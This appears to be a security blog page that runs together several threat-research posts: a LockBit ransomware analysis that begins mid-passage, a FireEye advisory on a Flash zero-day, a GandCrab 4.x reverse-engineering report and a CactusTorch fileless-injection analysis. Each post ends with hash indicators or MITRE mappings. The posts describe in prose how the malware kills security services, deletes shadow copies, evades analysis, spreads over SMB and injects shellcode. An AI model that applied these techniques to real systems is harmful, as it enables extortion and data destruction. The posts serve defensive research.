In execution, the malware accesses the Service Manager using the function “OpenSCManagerA” and saves the handle.
It checks if it fails the last error with the “GetLastError” function, against the error ERROR_ACCESS_DENIED.
Figure 10.
Access to the Service Manager Upon access to the Service Manager, LockBit creates a thread to manage services, terminate processes and delete the shadow volumes plus the contents of the recycle bin.
In this thread the malware has the name of services that it will try to manage hardcoded to try to make them more obfuscated: Figure 11.
Hardcoded service names The list of services LockBit tries to stop are: DefWatch (Symantec Antivirus) ccEvtMgr (Norton AntiVirus Event Manager) ccSetMgr (Common Client Settings Manager Service of Symantec)
SavRoam (Symantec Antivirus) sqlserv sqlagent sqladhlp Culserver RTVscan (Symantec Antivirus Program) sqlbrowser SQLADHLP QBIDPService ( QuickBooks by Intuit .)
QuickBoooks.
FCS ( QuickBooks by Intuit .)
QBCFMonitorService ( QuickBooks by Intuit .)
sqlwriter msmdsrv (Microsoft SQL Server Analysis or Microsoft SQL Server) tomcat6 (Apache Tomcat) zhundongfangyu (this belongs to the 360 security product from Qihoo company) vmware-usbarbitator64 vmware-converter dbsrv12 (Creates, modifies, and deletes SQL Anywhere services.)
dbeng8 (Sybase’s Adaptive Server Anywhere version 8 database program) wrapper (Java Service?)
If one of these services is found by the malware querying the status of it, with the function “QueryServiceStatusEx”, LockBit will get all the depending modules when correct and safe and it will stop the service with the function “ControlService”.
Figure 12.
Stopping target service LockBit will prepare Unicode obfuscated strings that contain a command to delete the shadow volumes and disable the protections in the next boot of the system.
Figure 13.
Prepare the commands to delete shadow volumes and disable protections on boot The malware has these strings in the rdata section, as widely observed in all malware families, and in its own code as show in the previous screenshots.
The malware uses both strings.
During its execution, LockBit will create a snapshot of the processes running in the system and will search to see if certain processes are part of this list with the function “OpenProcess” and, in case the process is present, it will finish it with the “TerminateProcess” function.
The list of processes that LockBit will check are: wxServer wxServerView sqlservr
RAgui supervise Culture RTVScan DefWatch
sqlbrowser winword QBW32 QBDBMgr qbupdate QBCFMonitorService axlbridge QBIDPService httpd fdlauncher MsDtSrvr tomcat6 zhudongfangyu vmware-usbarbitator64 vmware-converter dbsrv12
This “process check function” is performed through a trick using the “PathRemoveExtensionA” function and removing the .exe extension from the list.
Using this technique, the check process is more obfuscated.
Figure 14.
Remove extension and check the process name In our analysis, we saw how the ransomware dynamically uses the function “IsWow64Process” to check if the victim OS is running a x64 system and then uses the functions “Wow64DisableWow64FsRedirection” and “Wow64RevertWow64FsResdirection”.
If the malware can access the functions, it will use the first to destroy all shadow volumes and the protections of the OS in the next boot and, later, will recover the redirection with the other function.
In the case that it cannot get these functions, LockBit will delete the shadow volume directly through the function “ShellExecuteA” or with the function “CreateProcessA”.
Deletion of files within the recycle bin is executed with the function “SHEmptyRecycleBinW”.
Figure 15.
Delete the contents of the recycle bin Static analysis of the sample shows that LockBit will check the machine to see if it has support for  AES instructions in the processor with the “cpuid” opcode.
Figure 16.
Check for AES instruction support in the CPU Another check made by the ransomware is for the existence of the SS2 set of instructions: Figure 17.
Check for SSE2 instructions in the CPU After finishing this process, the malware will try to delete itself with the next command using “ShellExecuteExW”:
Image 18.
Auto-deletion of the malware The Ransom Note The ransom note is rather compact because the author hardcoded the content right in the code without using any obfuscation or encryption.
The text file containing the ransom note is created in every directory after encryption and called Restore-My-Files.txt .
Figure 19:
Content that is placed in Restore-My-Files.txt Victim Information Stored in the Registry Key LockBit in execution will create two keys in the infected system with the values full and public.
Those keys are created in the following hive HKEY_CURRENT_USER\\SOFTWARE\\LockBit .
The data stored in these keys belongs to the infected victim in order to be able to identify them in the future.
Figure 20:
LockBit registry keys Lastly, after finishing the encryption, the desktop wallpaper is changed to a message for the user, saying that LockBit encrypted the host.
Figure 21:
LockBit wallpaper after encryption LockBit Filemarker Some of the ransomware we analyzed shares a common file marker across all the encrypted files in order to verify the origin.
This digital marker can be used there in the control panel in order to verify that this was the ransomware that encrypted the files.
This is an example for the first version of LockBit, where file marker was using: C8 41 D0 BE AB 3F 0D 59
7B BF CF 40 C8 81 63 CD If we compare two encrypted files, we can spot how the file marker matches in both encrypted files: Figure 22:
File marker used by LockBit SMB Spreading Analyzing LockBit in our environment, we identified the possibility to spread locally in the same local network.
Analyzing the network traffic, we spotted the use of multiple ARP requests to find other hosts in the same network segment.
Figure 23:
LockBit ARP traffic captured in the analysis If these ARP requests finally find a host alive, LockBit will start a legitimate SMB connection to be able to deploy the ransomware in other machines.
Figure 24:
LockBit SMB traffic captured in the analysis If the SMB connection is successful, LockBit will execute the following PowerShell command to download the .NET launcher that will decompress and execute LockBit in a new system: LockBit Ransomware Evolution: LockBit is new on the scene, but we noticed the authors added several new features and improved the ransomware several times.
That means there is an active group behind it which is probably getting feedback on its actions.
This is an example of the development cycle; this graph was extracted, analyzing statically all the internal functions and comparing them across the samples: For this investigation, we found different LockBit versions with different features between them: LockBit Version 1 This first version contains unique features compared to other versions we found in the wild.
These features are: IPLO (IPLogger geolocalization service)
Persistence through the COM interface and the HIVE Current Version Run A different extension used in the encrypted files Debug file created for debugging purposes HIGH CPU Usage in the encryption process The reusage of a MUTEX observed in other ransomware families IPLO.RU geo-localization service: One of the interesting items we found was that LockBit tries to identify the victim’s geo-location, through the URL IPLO.RU, requesting a static TXT file in that service.
Figure 25:
LockBit IPLO.RU geolocation traffic captured in the analysis The communication to this page is through HTTPS; we intercepted the traffic to get the reply from the remote server: Figure 26:
SSL decrypted traffic Analyzing statically the code in LockBit, we found that this URL is not resolved dynamically in execution; it is hardcoded in the binary:
Figure 27:
Hardcoded URL of IPLO service Creating persistence through Current version Run and COM task schedule:
There are many ways to gain persistence in a system.
This first version of LockBit uses a task schedule through the COM interface to gain persistence.
Figure 28:
Persistence using the COM interface LockBit also uses a reboot persistence method by using the Windows registry hive: HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\CurrentVersion\\Run Using the CurrentVersion\\Run hive serves to survive the reboot if the system shuts down.
LockBit is actually using two persistence methods, CLSID and CurrentVersion\\Run .abcd extension used: The first version of LockBit uses the .abcd extension every time it encrypts a file; this is a unique difference between this version and the other versions found.
Ransom note used: LockBit in this first version used a different ransom note with a different message: Figure 29:
LockBit ransomware note Debug file created in execution: LockBit’s first version has some files that are skipped in the encryption process and every time it skips one it will create resultlog6.reg with the log information: Figure 30:
Debug file created by LockBit High CPU usage: We analyzed the performance of the encryption and we noted how LockBit uses the CPU heavily in the encryption process: Figure 31: LockBit performance in execution PhobosImposter static MUTEX used: In October 2019, the community saw how PhobosImposter was using the mutex XO1XADpO01 in its executions and the same mutex is used by LockBit in this first version.
We analyzed the base code of both samples and we did not find any code overlap but is a quite a random string to use casually.
This is the function used to create the mutex: Figure 32.
Creation and check of the hardcoded mutex LockBit Version 2 This LockBit version came out with the following changes: Appended extension changed The debug function removed Some of the samples came packed wither with UPX or a Delphi packer One sample digitally signed Appended extension changed: For this version, LockBit started to append the extension .lockbit in all the encrypted files as a file marker: Debug log function removed: LockBit, in this new version, removed the functionality whereby it stored all the skipped files in the encryption process.
Sample delivery with different protections: In this version we found LockBit samples packed in UPX and other custom packers, adding certain protections to the samples: Extensive usage of PEB during the execution The use of IsDebuggerPresent, OutputDebugString and GetLastError All these protections are enabled by the use of packers in the delivery.
Mutex change:
The prior version of LockBit used a static mutex in all the encryptions but, in this release, it changed to be a dynamic value for every infection.
Samples digitally signed: For all the versions we found for LockBit, only this version had a sample digitally signed: Figure 33:
LockBit sample digitally signed LockBit Version 3 Ransomware note changed:
For this version LockBit adapted the ransomware note and used a new one: Figure 34: LockBit 2nd version of the ransomware note LockBit debug enabled: After all the hunting progress we made, we found several samples of LockBit with some kind of status feature enabled, showing a progress window during the encryption: Figure 35:
LockBit debug enabled This mode was only available for certain sample compilations and the status screen was different depending on the LockBit sample analyzed: Figure 36:
LockBit sample digitally signed Tales from the Underground When we researched the underground community for LockBit we came across a posting on several popular underground forums.
A threat actor named Lockbi or LockBit is offering LockBit as a “bespoke” ransomware as a service for limited partners/affiliates.
We suspect LockBit ransomware to be more “bespoke”, not only from its own announcements, but subsequently we have not seen any affiliate identifiers present in the ransomware, which is normally a clear sign of an actor trying to upscale operations and service a larger number of affiliates.
The advertisement provides a general description that matches the LockBit behavior we have seen in the wild and from our analysis.
As many other cyber-criminal services, LockBit does not allow the use of the software in any of the CIS countries.
This is commonly done to avoid prosecution if the threat actor resides in one of those nations.
What we also noticed was a mention around multi-threading.
Ransomware families are often programmed to run multi-threaded to ensure quick and overall encryption and prevent the encryption process getting stuck on a large file.
However, LockBit was specifically advertised as single threaded and the threat actor Lockbi ensures that there are no speed issues when it comes to its encryption capability.
Figure 37:
The LockBit advertisement In the advertisement it is listed that one of the features of the ransomware is a local subnet scanner and SMB propagation method, something we can confirm based on our analysis.
Also noteworthy is the use of a Jabber-bot to perform the essential functions, such as chatting, decryption and banning, replacing the need for a labor intensive admin panel that is hosted somewhere on the internet.
Figure 38: LockBit profile including the 10,5 BTC deposit
It seems that LockBit has joined the underground scene with a clear determination to do business; the authors have put a down a deposit in excess of 10,5 BTC, a bit shy of 75K USD.
Putting a deposit in escrow is a way to demonstrate that the seller is invested financially and not out to scam potential partners.
The seller would lose their deposit if they did not keep to their end of the deal.
Our telemetry shows that LockBit activity is still limited today but we can definitely expect to see more bespoke LockBit attacks in the near future.
Recovery Going back to the real-life case, there were no recent offline backups.
So, with the backup servers (including the backups) encrypted as well and a complete rebuild not being an option, there was no way for a successful and swift recovery other than by paying the ransom.
Both McAfee’s and Northwave’s perspective is that ransoms should not be paid.
Paying does not only support the criminal business model, but as we have shown in our research , it also finances other forms of crime, such as the online drug trade.
In this specific case the victim chose to pay the ransom.
The first step for recovery was to get in contact with the hacker following the instructions from the ransom note (Restore-my-files.txt) as depicted below.
Figure 39:
LockBit ransomware note Interestingly, as opposed to earlier known cases of LockBit (or .abcd virus) where contact with the attacker occurred via email addresses mentioned in the ransom note, in this case, the attacker developed an online ‘help desk’ accessible via a .onion address.
Helpful as the hacker is, they even provided clear instructions on how to access this .onion address with the Tor browser.
Although the ransom note claims there was private data obtained, Northwave did not find any evidence for this on the compromised systems.
Figure 40:
LockBit recovery page The image above shows the helpdesk which the attacker uses for communication with their victims.
It provides the functionality for a trial in which two files can be decrypted ‘for warranty’, showing that the attacker indeed has the correct key(s) for restoring the data.
For this, it is always essential to test files from different (critical) servers since keys might differ per server.
In negotiations with an attacker, always try to obtain this knowledge since it is also relevant for your recovery strategy.
If it is only one key, you know you can use one tool for the entire network; however, if encrypted servers use distinct keys, recovery becomes increasingly more difficult.
After successful decryption of two different files (from distinct servers), the chat with the attacker began.
They started by asking for a network domain name (to identify the correct victim), then the attacker addressed the ransom amount.
Usually, the attackers do proper research on their victims and tailor the ransom amount accordingly, which was the case here as well.
Hence, negotiating on the amount of the ransom did not prove to be useful: “We know who you are, so don’t play negotiate games.”
Trouble in Hacker Paradise
Subsequently, making the bitcoin transaction to the provided address, the helpdesk page would automatically update after six confirmations and show the download link for the decryptor.
“After 6 transaction confirmations, in a few hours decryptor will be built automatically.
Don’t worry you will get it instantly once it’s built.”
Since there was nothing else to do than wait and hope for the decryptor now, an attempt was made into obtaining some more information from the attacker by asking about their methods.
See a snippet of this conversation below.
Figure 41:
Attacker communication The ‘weak passwords’ is, of course, entirely in line with the brute force attack mentioned earlier.
Additionally, this conversation indicates that there is a larger group behind this attack, where roles between different participants are separated.
The helpdesk seems to be an actual helpdesk, merely following a script of actions.
After waiting for several hours and six confirmations further, the decryption tool should have been ready for download.
However, this is where things progressed differently.
There seemed to be some technical issues causing the decryptor not to generate automatically for which the helpdesk kindly apologized.
Unfortunately, this continued for two dubious days with multiple excuses before the attacker sent a link to the decryptor via the chat.
It appeared that they were ineffective in solving the technical issues; hence they chose to send it via SendSpace.
Once downloaded, the recovery phase could start.
In this phase, all servers were decrypted, scanned and cleaned (or rebuilt) in a quarantined network.
Subsequently, after implementing the appropriate technical and security measures, each host joined a new clean network.
Conclusion As we highlighted in the first two articles, targeted ransomware attacks have increased massively over the past months.
Many of them are all using a similar, quite manual, attack pattern as we highlighted.
In this article, we provided an in-depth view of a relatively new ransomware family named LockBit.
Based on a real-life case as encountered by Northwave, we described a typical ransomware attack including the modus operandi of attackers, the recovery process, an insight in the underground that advertises the ransomware and a full technical break-down of the ransomware itself.
Additionally, during our analysis, we were able to obtain multiple samples of the LockBit ransomware with which we could provide an extensive list of IOCs.
McAfee will continue monitoring this threat.
Learn from the articles, identify which technology can give you visibility inside your network.
What digital evidence sources do you have, and can you detect fast enough to preserve and respond?
If you were not able to prevent the ‘initial access stage’, make sure to have a strong Defense-in-Depth by having multiple defence technologies in place.
In case a ransomware attack does strike your organization, have a proper backup procedure in place to successfully restore operations on your own?
For additional ransomware prevention tips please visit www.
NoMoreRansom.org .
To learn more about how McAfee products can defend against these types of attacks, visit see our blog on how ENS 10.7 Rolls Back the Curtain on Ransomware .
MITRE TAXONOMY Technique ID Technique Description T1107 File Deletion T1055 Process Injection T1112
Modify Registry
T1215 Kernel Modules and Extensions T1060 Registry Run Keys / Start Folder T1179
Hooking T1055 Process Injection T1179 Hooking T1124
System Time Discovery T1046 Network Service Scanning T1083 File and Directory Discovery T1016
System Network Configuration Discovery T1012 Query Registry T1082 System Information Discovery T1057 Process Discovery T1063 Security Software Discovery T1047 Windows Management Instrumentation T1035 Service Execution T1075
Pass the Hash IOC’s SHA256 Compile TimeStamp ffbb6c4d8d704a530bdd557890f367ad904c09c03f53fda5615a7208a0ea3e4d 1992:06:20 286bffaa9c81abfb938fe65be198770c38115cdec95865a241f913769e9bfd3f 2009:02:12 76a77def28acf51b2b7cdcbfaa182fe5726dd3f9e891682a4efc3226640b9c78
2009:02:12
faa3453ceb1bd4e5b0b10171eaa908e56e7275173178010fcc323fdea67a6869 2009:02:12 70cb1a8cb4259b72b704e81349c2ad5ac60cd1254a810ef68757f8c9409e3ea6 2019:11:29 ec88f821d22e5553afb94b4834f91ecdedeb27d9ebfd882a7d8f33b5f12ac38d 2019:12:01 13849c0c923bfed5ab37224d59e2d12e3e72f97dc7f539136ae09484cbe8e5e0 2019:12:11 6fedf83e76d76c59c8ad0da4c5af28f23a12119779f793fd253231b5e3b00a1a 2019:12:17 c8205792fbc0a5efc6b8f0f2257514990bfaa987768c4839d413dd10721e8871 2019:12:18 15a7d528587ffc860f038bb5be5e90b79060fbba5948766d9f8aa46381ccde8a 2020:01:23 0f5d71496ab540c3395cfc024778a7ac5c6b5418f165cc753ea2b2befbd42d51 2020:01:23 0e66029132a885143b87b1e49e32663a52737bbff4ab96186e9e5e829aa2915f
2020:01:23 410c884d883ebe2172507b5eadd10bc8a2ae2564ba0d33b1e84e5f3c22bd3677 2020:02:12 e3f236e4aeb73f8f8f0caebe46f53abbb2f71fa4b266a34ab50e01933709e877 2020:02:16 0f178bc093b6b9d25924a85d9a7dde64592215599733e83e3bbc6df219564335 2020:02:16 1b109db549dd0bf64cadafec575b5895690760c7180a4edbf0c5296766162f18 2020:02:17 26b6a9fecfc9d4b4b2c2ff02885b257721687e6b820f72cf2e66c1cae2675739 2020:02:17 69d9dd7fdd88f33e2343fb391ba063a65fe5ffbe649da1c5083ec4a67c525997 2020:02:17 0a937d4fe8aa6cb947b95841c490d73e452a3cafcd92645afc353006786aba76 2020:02:17 1e3bf358c76f4030ffc4437d5fcd80c54bd91b361abb43a4fa6340e62d986770 2020:02:17 5072678821b490853eff0a97191f262c4e8404984dd8d5be1151fef437ca26db 2020:02:20 ca57455fd148754bf443a2c8b06dc2a295f014b071e3990dd99916250d21bc75 2020-02-20
On Jan. 31, KISA (KrCERT) published an advisory about an Adobe Flash zero-day vulnerability (CVE-2018-4878) being exploited in the wild.
On Feb. 1, Adobe issued an advisory confirming the vulnerability exists in Adobe Flash Player 28.0.0.137 and earlier versions, and that successful exploitation could potentially allow an attacker to take control of the affected system.
FireEye began investigating the vulnerability following the release of the initial advisory from KISA.
Threat Attribution We assess that the actors employing this latest Flash zero-day are a suspected North Korean group we track as TEMP.Reaper.
We have observed TEMP.Reaper operators directly interacting with their command and control infrastructure from IP addresses assigned to the STAR-KP network in Pyongyang.
The STAR-KP network is operated as a joint venture between the North Korean Government's Post and Telecommunications Corporation and Thailand-based Loxley Pacific.
Historically, the majority of their targeting has been focused on the South Korean government, military, and defense industrial base; however, they have expanded to other international targets in the last year.
They have taken interest in subject matter of direct importance to the Democratic People's Republic of Korea (DPRK) such as Korean unification efforts and North Korean defectors.
In the past year, FireEye iSIGHT Intelligence has discovered newly developed wiper malware being deployed by TEMP.Reaper, which we detect as RUHAPPY.
While we have observed other suspected North Korean threat groups such as TEMP.Hermit employ wiper malware in disruptive attacks, we have not thus far observed TEMP.Reaper use their wiper malware actively against any targets.
Attack Scenario Analysis of the exploit chain is ongoing, but available information points to the Flash zero-day being distributed in a malicious document or spreadsheet with an embedded SWF file.
Upon opening and successful exploitation, a decryption key for an encrypted embedded payload would be downloaded from compromised third party websites hosted in South Korea.
Preliminary analysis indicates that the vulnerability was likely used to distribute the previously observed DOGCALL malware to South Korean victims.
Recommendations Adobe stated that it plans to release a fix for this issue the week of Feb. 5, 2018.
Until then, we recommended that customers use extreme caution, especially when visiting South Korean sites, and avoid opening suspicious documents, especially Excel spreadsheets.
Due to the publication of the vulnerability prior to patch availability, it is likely that additional criminal and nation state groups will attempt to exploit the vulnerability in the near term.
FireEye Solutions Detections FireEye Email Security, Endpoint Security with Exploit Guard enabled, and Network Security products will detect the malicious document natively.
Email Security and Network Security customers who have enabled the riskware feature may see additional alerts based on suspicious content embedded in malicious documents.
Customers can find more information in our FireEye Customer Communities post .
Subscribe to Blogs Get email updates as new blog posts are added.
By Alexandre Mundo on Jul 31, 2018 Update: On August 9 we added our analysis of Versions 4.2.1 and 4.3.
The GandCrab ransomware first appeared in January and has been updated rapidly during its short life.
It is the leading ransomware threat.
The McAfee Advanced Threat Research team has reverse engineered Versions 4.0 through 4.3 of the malware.
The first versions (1.0 and 1.1) of this malware had a bug that left the keys in memory because the author did not correctly use the flags in a crypto function.
One antimalware company released a free decryption tool, posted on NoMoreRansom.org , with help of Romanian police and Europol.
The hack was confirmed by the malware author in a Russian forum: Figure 1.
Confirmation by the author of the hack of GandCrab servers.
The text apologizes to partners for the hack and temporarily shuts down the program.
It promises to release an improved version within a few days.
The second version of GandCrab quickly appeared and improved the malware server’s security against future counterattacks.
The first versions of the ransomware had a list of file extensions to encrypt, but the second and later versions have replaced this list with an exclusion list.
All files except those on the list were encrypted.
Old versions of the malware used RSA and AES to encrypt the files, and communicated with a control server to send the RSA keys locked with an RC4 algorithm.
The GandCrab author has moved quickly to improve the code and has added comments to mock the security community, law agencies, and the NoMoreRansom organization.
The malware is not professionally developed and usually has bugs (even in Version 4.3), but the speed of changes is impressive and increases the difficulty of combating it.
Entry vector GandCrab uses several entry vectors: Remote desktop connections with weak security or bought in underground forums Phishing emails with links or attachments Trojanized legitimate programs containing the malware, or downloading and launching it Exploits kits such as RigEK and others The goal of GandCrab, as with other ransomware, is to encrypt all or many files on an infected system and insist on payment to unlock them.
The developer requires payment in cryptocurrency, primarily DASH, because it complex to track, or Bitcoin.
The malware is usually but not always packed.
We have seen variants in .exe format (the primary form) along with DLLs.
GandCrab is effectively ransomware as a service; its operators can choose which version they want.
Version 4.0 The most important change in Version 4.0 is in the algorithm used to encrypt files.
Earlier versions used RSA and AES; the latest versions use Salsa20.
The main reason is for speed.
RSA is a powerful but slow algorithm.
Salsa20 is quick and the implementation is small.
The ransomware checks the language of the system and will not drop the malicious payload if the infected machine operates in Russian or certain other former Soviet languages: Figure 2.
Checking the language of the infected system.
GandCrab encrypts any file that does not appear on the following file-extension exclusion list: The ransomware does not encrypt files in these folders: GandCrab leaves these files unencrypted: The ransomware generates a pair of RSA keys before encrypting any file.
The public key encrypts the Salsa20 key and random initialization vector (IV, or nonce)) generated later for each file.
The encryption procedure generates a random Salsa20 key and a random IV for each file, encrypts the file with them, and encrypts this key and IV with a pair of RSA keys (with the public RSA key created at the beginning).
The private key remains encrypted in the registry using another Salsa20 key and IV encrypted with an RSA public key embedded in the malware.
After encryption, the file key and IV are appended to the contents of the file in a new field of 8 bytes, increasing the original file size.
This method makes GandCrab very strong ransomware because without the private key to the embedded public key, it is not possible to decrypt the files.
Without the new RSA private key, we cannot decrypt the Salsa20 key and IV that are appended to the file.
Finally, the ransomware deletes all shadow volumes on the infected machine and deletes itself.
Version 4.1 This version retains the Salsa20 algorithm, fixes some bugs, and adds a new function.
This function, in a random procedure from a big list of domains, creates a final path and sends the encrypted information gathered from the infected machine.
We do not know why the malware does this; the random procedure usually creates paths to remote sites that do not exist.
For example, one sample of this version has the following hardcoded list of encrypted domains.
(This is only a small part of this list.)
The ransomware selects one domain from the list and creates a random path with one of these words: Later it randomly chooses another word to add to the URL it creates: Afterward it makes a file name, randomly choosing three or four combinations from the following list: Finally the malware concatenates the filename with a randomly chosen extension: At this point, the malware sends the encrypted information using POST to the newly generated URL for all domains in the embedded list, repeating the process of generating a path and name for each domain.
Another important change in this version is the attempt to obfuscate the calls to functions such as VirtualAlloc and VirtualFree.
Figure 3.
New functions to obfuscate the code.
Version 4.1.2
This version has appeared with some variants.
Two security companies revealed a vaccine to prevent infections by previous versions.
The vaccine involved making a special file in a folder with a special name before the ransomware infects the system.
If this file exists, the ransomware finishes without dropping the payload.
The file gets its name from the serial number of the Windows logic unit hard disk value.
The malware makes a simple calculation with this name and creates it in the %appdata% or %program files% folder (based in the OS) with the extension .lock.
Figure 4.
Creating the special file.
The GandCrab author reacted quickly, changing the operation to make this value unique and use the Salsa20 algorithm with an embedded key and IV with text referring to these companies.
The text and the value calculated were used to make the filename; the extension remained .lock.
One of the security companies responded by making a free tool to make this file available for all users, but within hours the author released another Version 4.1.2 with the text changed.
The malware no longer creates any file, instead making a mutex object with this special name.
The mutex remains and keeps the .lock extension in the name.
Figure 5.
Creating a special mutex instead of a special lock file.
The vaccine does not work with the second Version 4.1.2 and Version 4.2, but it does work with previous versions.
Version 4.2 This version has code to detect virtual machines and stop running the ransomware within them.
It checks the number of remote units, the size of the ransomware name running compared with certain sizes, installs a VectoredExceptionHandler, and checks for VMware virtual machines using the old trick of the virtual port in a little encrypted shellcode: Figure 6.
Detecting VMware.
The malware calculates the free space of the main Windows installation logic unit and finally calculates a value.
If this value is correct for the ransomware, it runs normally.
If the value is less than 0x1E, it waits one hour to start the normal process.
(It blocks automatic systems that do not have “sleep” prepared.)
If the value is greater than 0x1E, the ransomware finishes its execution.
Figure 7.
Checking for virtual machines and choosing a path.
Version 4.2.1 This version appeared August 1.
The change from the previous version is a text message to the company that made the vaccine along with a link to a source code zero-day exploit that attacks one of this company’s products.
The code is a Visual Studio project and can be easily recompiled.
This code has folders in Russian after loading the project in Visual Studio.
Version 4.3 This version also appeared August 1.
This version has several changes from previous versions.
It removes the code to detect virtual machines and a few other odd things in Version 4.2.
This code had some failure points; some virtual machines could not be detected.
It implemented an exploit against one product of the antivirus company that made the vaccine against Version 4.0 through the first release of Version 4.1.2.
This code appears after the malware encrypts files and before it deletes itself.
Figure 8.
Running an exploit against a product of the company that made a vaccine.
New code in some functions makes static analysis with Interactive Disassembler more complex.
This is an easy but effective trick: The ransomware makes a delta call (which puts the address of the delta offset at the top of the stack) and adds 0x11 (the size of the special code, meaning the malware author is using a macro) to the value in the ESP register.
ESP now points to an address after the block of the special code and makes a jump in the middle of the opcodes of this block.
This technique makes it appear like another instruction, in this case “pop eax,” which extracts the value after adding 0x11 from the top of the stack (ESP register).
The code later makes an unconditional jump to this address in EAX.
This way the ransomware follows its normal code flow.
Figure 9.
New code to make static analysis more difficult.
Conclusion GandCrab is the leading ransomware threat for any person or enterprise.
The author uses many ways to install it—including exploits kits, phishing mails, Trojans, and fake programs.
The developer actively updates and improves the code to make analysis more difficult and to detect virtual machines.
The code is not professionally written and continues to suffer from bugs, yet the product is well promoted in underground forums and has increased in value.
McAfee detects this threat as Ran-GandCrab4 in Versions 4.0 and later.
Previous ones are also detected.
Indicators of compromise MITRE ATT&CK
This sample uses the following MITRE ATT&CK techniques: File deletion System information discovery Execution through API Execution through WMIC Application process discovery: to detect antimalware and security products as well as normal programs Query registry: to get information about keys that the malware needs make or read Modify registry File and directory discovery: to search for files to encrypt Encrypt files Process discovery: enumerating all processes on the endpoint to kill some special ones Create files Elevation of privileges Hashes 9a80f1866450f2f10fa69b1eb8747c344d6ef038468014c59cc50497f9e4675d – version 4.0 d9466be5c387eb2fbf619a8cd0922b167ea7fa06b63f13cd330ca974cae1d513 – version 4.0 43b57d2b16c44041916f3b0562712d5dca4f8a42bc00f00a023b4a0788d18276 – version 4.0 786e3c693fcdf55466fd6e5446de7cfeb58a4311442e0bc99ce0b0985c77b45d – version 4.0 f5e74d939a5b329dddc94b75bd770d11c8f9cc3a640dccd8dff765b6997809f2 – version 4.1 8ecbfe6f52ae98b5c9e406459804c4ba7f110e71716ebf05015a3a99c995baa1 – version 4.1 e454123d852e6a40eed1f2552e1a1ad3c00991541d812fbf24b70611bd1ec40a – version 4.1 0aef79fac6331f9eca49e711291ac116e7f6fbaeb5a1f3eb7fea9e2e4ec6a608 – version 4.1 3277c1649972ab5b43ae9e87087b70ea4825956bfdddd1034f7b0680e6d46efa – version 4.1 a92af825bd95b6514f22dea08a4eb6d3491cbad45e69a5b9653b0148ee9f9832 – version 4.1 ce093ffa19f020a2b73719f653b5e0423df28ef1d59035d55e99154a85c5c668 – version 4.1.2 (first) a1aae5ae7a3722b83dc1c9b0831c973641b246808de4f3670f2fd916cf498d38 – version 4.1.2 (second) 3b0096d6798b1887cffa1288583e93f70e656270119087ceb2f832b69b89260a – version 4.2 e8e948e36fed93061062406693d1b2c402dd8e5788506bfbb50dbd86a5540829 – version 4.2 Domain http://gandcrabmfe6mnef.onion
By McAfee on Jul 26, 2018 McAfee Labs has noticed a significant shift by some actors toward using trusted Windows executables, rather than external malware, to attack systems.
One of the most popular techniques is a “fileless” attack.
Because these attacks are launched through reputable executables, they are hard to detect.
Both consumers and corporate users can fall victim to this threat.
In corporate environments, attackers use this vector to move laterally through the network.
One fileless threat, CactusTorch, uses the DotNetToJScript technique, which loads and executes malicious .NET
assemblies straight from memory.
These assemblies are the smallest unit of deployment of an application, such as a .dll
or .exe.
As with other fileless attack techniques, DotNetToJScript does not write any part of the malicious .NET assembly on a computer’s hard drive; hence traditional file scanners fail to detect these attacks.
In 2018 we have seen rapid growth in the use of CactusTorch, which can execute custom shellcode on Windows systems.
The following chart shows the rise of CactusTorch variants in the wild.
Source: McAfee Labs.
The DotNetToJScript tool kit Compiling the DotNetToJScript tool gives us the .NET executable DotNetToJScript.exe, which accepts the path of a .NET assembly and outputs a JavaScript file.
Figure 1: Using DotNetToJScript.exe to create a malicious JavaScript file.
The DotNetToJScript tool kit is never shipped with malware.
The only component created is the output JavaScript file, which is executed on the target system by the script host (wscript.exe).
For our analysis, we ran some basic deobfuscation and found CactusTorch , which had been hidden by some online tools: Figure 2:
CactusTorch code.
Before we dive into this code, we need to understand .NET
and its COM exposure.
When we install the .NET framework on any system, several .NET libraries are exposed via Microsoft’s Component Object Model (COM).
Figure 3: COM exposing the .NET library System.
Security.
Cryptography.
FromBase64Transform.
If we look at the exposed interfaces, we can see IDispatch, which allows the COM object to be accessed from the script host or a browser.
Figure 4: Exposed interfaces in a .NET library.
To execute malicious code using the DotNetToJScript vector, an attack uses the following COM objects: Text.
ASCIIEncoding Security.
Cryptography.
FromBase64Transform IO.MemoryStream
Runtime.
Serialization.
Formatters.
Binary.
BinaryFormatter Collections.
ArrayList
Now, let’s return to the JavaScript code we saw in Figure 2.
The function base64ToStream()converts the Base64-encoded serialized object to a stream.
Before we can fully understand the logic behind the JavaScript code, we need to examine the functionality of the Base64-encoded serialized object.
Thus our next step is to reverse engineer the embedded serialized object and recreate the class definition.
Once that was done, the class definition looks like the following code, which is responsible for executing the malicious shellcode.
(Special thanks to Casey Smith, @subTee, for important pointers regarding this step).
Figure 5:
The class definition of the embedded serialized object.
Now we have the open-source component of CactusTorch , and the JavaScript code in Figure 2 makes sense.
We can see how the malicious shellcode is executed on the targeted system.
In Figure 2, line 29 the code invokes the flame(x,x) function with two arguments: the executable to launch and the shellcode.
The .NET assembly embedded in the CactusTorch script runs the following steps to execute the malicious shellcode:
Launches a new suspended process using CreateProcessA (to host the shellcode) Allocates some memory with VirtualAllocEx() with an EXECUTE_READWRITE privilege Writes the shellcode in the target’s process memory with WriteProcessMemory() Creates a new thread to execute the shellcode using CreateRemoteThread() Conclusion Fileless malware takes advantage of the trust factor between security software and genuine, signed Windows applications.
Because this type of attack is launched through reputable, trusted executables, these attacks are hard to detect.
McAfee Endpoint Security (ENS) and Host Intrusion Prevention System (HIPS) customers are protected from this class of fileless attack through Signature ID 6118.
Acknowledgements The author thanks the following colleagues for their help with this analysis: Abhishek Karnik Deepak Setty Oliver Devane Shruti Suman References https://ruxcon.org.au/assets/2017/slides/NET-Interop-Full.pdf https://github.com/tyranid/DotNetToJScript https://github.com/mdsecactivebreach/cactustorch MITRE ATT&CK techniques Drive-by compromise Scripting using Windows Script Host Decode information Command-line interface Process injection Hashes 4CF9863C8D60F7A977E9DBE4DB270819 5EEFBB10D0169D586640DA8C42DD54BE 69A2B582ED453A90CC06345886F03833 74172E8B1F9B7F9DB600C57E07368B8F 86C47B9E0F43150FEFF5968CF4882EBB 89F87F60137E9081F40E7D9AD5FA8DEF 8A33BF71E8740BDDE23425BBC6259D8F 8DCCC9539A499D375A069131F3E06610
